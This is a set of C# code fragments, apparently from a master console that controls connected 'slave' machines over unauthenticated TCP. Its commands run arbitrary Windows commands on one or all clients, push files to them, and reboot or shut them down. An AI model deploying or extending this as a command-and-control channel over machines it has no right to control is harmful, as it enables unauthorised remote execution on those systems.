/// <summary> /// Set current client by id /// and check if is connected and exists /// </summary> /// <param name="id">ID of client</param> public static void SetCurrentSlave(int id) { int cnt = Status.ClientsConnected.Count; //? Check if is valid id if (id < cnt && id >= 0) { //? check if client selected is connected if (Status.CheckConnectedClient(Status.ClientsConnected[id].Client)) { //! Set new connected client Status.CurrentClient = Status.ClientsConnected[id]; MasterConsole.ConsoleMessage($"Current slave changed to: {id}) {Status.GetClientIp(Status.CurrentClient.Client)}", CONSOLE_MSG.success); } else { MasterConsole.ConsoleMessage($"Client {id} is disconnected", CONSOLE_MSG.error); PrintSlaves(); } } else { MasterConsole.ConsoleMessage("Invalid id.", CONSOLE_MSG.error); } }
public Status() { // Check if there is no more than 1 instance if (Instance) { // If there is, then, send error throw new InvalidOperationException("There cannot be more than one status instance"); } else { Instance = true; } // Prepare connection IPHostEntry ipHostInfo = Dns.GetHostEntry("192.168.1.65"); IPAddress ipAddress = ipHostInfo.AddressList[0]; IPEndPoint localEndPoint = new IPEndPoint(ipAddress, 11000); // Tcp Socket listener = new TcpListener(localEndPoint.Address, localEndPoint.Port); //! Try for check only one instance of the console try { // Start listen listener.Start(); } catch (SocketException sE) { if (sE.ErrorCode == sE.ErrorCode) { MasterConsole.FoccusOneConsole(); } } }
/// <summary> /// Print current client selcted and /// check if is connected /// </summary> public static void PrintCurrentSlave() { if (Status.ClientsConnected.Count > 0) { // Check if current client is desconnected if (!Status.CheckConnectedClient(Status.CurrentClient.Client)) { // Is disconnected \\ Status.CurrentClient = Status.ClientsConnected[0]; // Set client "0" as current client PrintCurrentSlave(); // Try print } else { // Is connected \\ string ip = Status.GetClientIp(Status.CurrentClient.Client); // Get Ip int indx = Status.ClientsConnected.IndexOf(Status.CurrentClient); // Get index in list MasterConsole.ConsoleMessage($"{indx}) {ip}", CONSOLE_MSG.info); // Print id) ip } } else { MasterConsole.ConsoleMessage("No slaves connected", CONSOLE_MSG.info); } }
/// <summary> /// Update Connected clients and print actives /// </summary> public static void PrintSlaves() { //? If there are clients connected? if (Status.ClientsConnected.Count > 0) { int cnt = Status.ClientsConnected.Count; for (int i = 0; i < cnt; i++) { string ip = Status.GetClientIp(Status.ClientsConnected[i].Client); MasterConsole.ConsoleMessage($"{i}) {ip}", CONSOLE_MSG.info); } } else { MasterConsole.ConsoleMessage("No slaves connected", CONSOLE_MSG.info); } }
/// <summary> /// Get bytes from file /// </summary> /// <returns> File in bytes </returns> public static byte[] GetFileBytes(string filePath) { byte[] bts = new byte[1024]; //? Exist? if (File.Exists(filePath)) { bts = File.ReadAllBytes(filePath); } else { MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error); } return(bts); }
/// <summary> /// Close console and stop socket /// </summary> public static void ExitCommand(string[] Args) { // Contains arguments if (Args.Length > 1) { switch (Args[1]) { case "-h": MasterConsole.ShowHelp(CONSOLE_HELP.exit); break; default: MasterConsole.ConsoleMessage("Combination of arguments is wrong", CONSOLE_MSG.error); break; } } else { MasterConsole.StopConsole(); } }
/// <summary> /// Get all clients connected /// </summary> public static void SlavesCommand(string[] Args) { // Contains arguments if (Args.Length > 1) { switch (Args[1]) { case "-h": MasterConsole.ShowHelp(CONSOLE_HELP.slaves); break; case "-c": // c of "Curretn" if (Args.Length > 2) { if (Args[2] == "set") { int id = Converters.ParseValidNumber(Args[3]); Slaves.SetCurrentSlave(id); } else { MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error); } } else { Slaves.PrintCurrentSlave(); } break; default: MasterConsole.ConsoleMessage("Combination of arguments is wrong", CONSOLE_MSG.error); break; } } else { Slaves.PrintSlaves(); } }
public static void SendFile(byte[] bytes, Socket client, string fpath) { string filename = Path.GetFileName(fpath); // Send message to client as <MSG>[bytes size by int,filename] string res = ClientMessage($"<FILE>[{bytes.Length},{filename}]", client); //? If client returns "READY" if (res.Contains("READY")) { client.Send(bytes); client.Receive(Status.buffer); string recv = Encoding.ASCII.GetString(Status.buffer); if (recv.Contains("true")) { MasterConsole.ConsoleMessage("Sucess", CONSOLE_MSG.success); } } else { MasterConsole.ConsoleMessage("Error in slave, try again.", CONSOLE_MSG.error); } }
public static void CMDOutput(string txt) { txt = txt.Replace("<CMDOUT>", ""); MasterConsole.ConsoleMessage(txt, CONSOLE_MSG.cmdClient); }
static void Main(string[] args) { MasterConsole.StartConsole(); }
/// <summary> /// Send file to client /// </summary> public static void FileCommand(string[] Args, string cmd) { int argLen = Check.FixedLenght(Args, cmd, '\"'); if (argLen > 1) { string filePath = Regex.Match(cmd, "\"[^\"]*\"").Value; filePath = filePath.Replace("\"", " "); switch (Args[1]) { case "-h": //! Show Help MasterConsole.ShowHelp(CONSOLE_HELP.file); break; case "-f": if (!Check.StringBlank(filePath)) { if (argLen > 3) { if (cmd.Contains("-s")) { int slv = Converters.ParseValidNumber(Auxiliars.GetParameter(Args, "-s")); if (slv >= 0) { if (File.Exists(filePath)) { byte[] bytes = Auxiliars.GetFileBytes(filePath); Connection.SendFile(bytes, Status.ClientsConnected[slv].Client, filePath); } else { MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error); } } else { MasterConsole.ConsoleMessage("Not clients connected", CONSOLE_MSG.warning); } } else if (cmd.Contains("-all")) { if (File.Exists(filePath)) { byte[] bytes = Auxiliars.GetFileBytes(filePath); foreach (TcpClient cl in Status.ClientsConnected) { Connection.SendFile(bytes, cl.Client, filePath); } } else { MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error); } } else { MasterConsole.ConsoleMessage("File -h for help", CONSOLE_MSG.info); } } else { if (File.Exists(filePath)) { byte[] bytes = Auxiliars.GetFileBytes(filePath); Connection.SendFile(bytes, Status.CurrentClient.Client, filePath); } else { MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error); } } } else { MasterConsole.ConsoleMessage("File?", CONSOLE_MSG.error); } break; default: MasterConsole.ConsoleMessage($"Unkwon Parameter '{Args[1]}'", CONSOLE_MSG.error); break; } } else { MasterConsole.ConsoleMessage("File?", CONSOLE_MSG.error); } }
/// <summary> /// Execute widows command in client /// </summary> public static void ExecCommand(string[] Args, string cmd) { if (Args.Length > 1) { if (Args.Length >= 2) { switch (Args[1]) { case "-h": MasterConsole.ShowHelp(CONSOLE_HELP.exec); break; case "-all": string com = Converters.TextBetween(cmd, "[", "]"); if (com != "") { foreach (TcpClient cl in Status.ClientsConnected) { string result = Connection.ClientMessage("<EXEC>" + com, cl.Client); if (result.Contains("<CMDOUT>")) { MasterConsole.ConsoleMessage($"{Status.GetClientIp(cl.Client)}: Succes", CONSOLE_MSG.success); Converters.CMDOutput(result); } else { MasterConsole.ConsoleMessage("Not success", CONSOLE_MSG.error); } } } else { MasterConsole.ConsoleMessage("Invalid Argument", CONSOLE_MSG.error); } break; case "-s": // s of "slave" string command = Converters.TextBetween(cmd, "[", "]"); if (command != "") { string result = Connection.ClientMessage("<EXEC>" + command, Status.CurrentClient.Client); if (result.Contains("<CMDOUT>")) { Converters.CMDOutput(result); } else { MasterConsole.ConsoleMessage("Not success", CONSOLE_MSG.error); } } else { MasterConsole.ConsoleMessage("Invalid Argument", CONSOLE_MSG.error); } break; default: MasterConsole.ConsoleMessage("Invalid argument", CONSOLE_MSG.error); break; } } else { string command = Converters.TextBetween(cmd, "[", "]"); string result = Connection.ClientMessage("<EXEC>" + command, Status.CurrentClient.Client); if (result.Contains("<CMDOUT>")) { Converters.CMDOutput(result); } else { MasterConsole.ConsoleMessage("Not success", CONSOLE_MSG.error); } } } else { MasterConsole.ConsoleMessage("Not found any command", CONSOLE_MSG.error); } }
/// <summary> /// This command Off or Reboot client /// </summary> public static void OffCommand(string[] Args) { if (Args.Length > 1) { switch (Args[1]) { case "-h": MasterConsole.ShowHelp(CONSOLE_HELP.off); break; case "-all": if (Args[2] == "-r") { // Reboot al client foreach (TcpClient cl in Status.ClientsConnected) { if (Connection.ClientMessage("<REBT>", cl.Client).Contains("true")) { MasterConsole.ConsoleMessage($"{Status.GetClientIp(cl.Client)}: Sucess", CONSOLE_MSG.success); } } } else { // Off all client foreach (TcpClient cl in Status.ClientsConnected) { if (Connection.ClientMessage("<OFF>", cl.Client).Contains("true")) { MasterConsole.ConsoleMessage($"{Status.GetClientIp(cl.Client)}: Sucess", CONSOLE_MSG.success); } } } break; case "-r": if (Args.Length >= 3) { switch (Args[2]) { case "-s": if (Args.Length > 3) { if (!Check.ContainsLetters(Args[3])) { if (Status.ClientsConnected.Count > 0) { if (Status.CheckConnectedClient(Status.ClientsConnected[Converters.ParseValidNumber(Args[3])].Client)) { if (Connection.ClientMessage("<REBT>", Status.ClientsConnected[Converters.ParseValidNumber(Args[3])].Client).Contains("true")) { MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success); } } } else { MasterConsole.ConsoleMessage("Any slaves connected", CONSOLE_MSG.warning); } } } else { MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error); } break; default: MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error); break; } } else { if (Connection.ClientMessage("<REBT>", Status.CurrentClient.Client).Contains("true")) { MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success); } } break; case "-s": if (Args.Length > 2) { if (!Check.ContainsLetters(Args[2])) { if (Status.ClientsConnected.Count > 0) { if (Status.CheckConnectedClient(Status.ClientsConnected[Converters.ParseValidNumber(Args[2])].Client)) { if (Connection.ClientMessage("<OFF>", Status.ClientsConnected[Converters.ParseValidNumber(Args[2])].Client).Contains("true")) { MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success); } } } else { MasterConsole.ConsoleMessage("Any slaves connected", CONSOLE_MSG.warning); } } } else { MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error); } break; default: MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error); break; } } else { if (Connection.ClientMessage("<OFF>", Status.CurrentClient.Client).Contains("true")) { MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success); } } }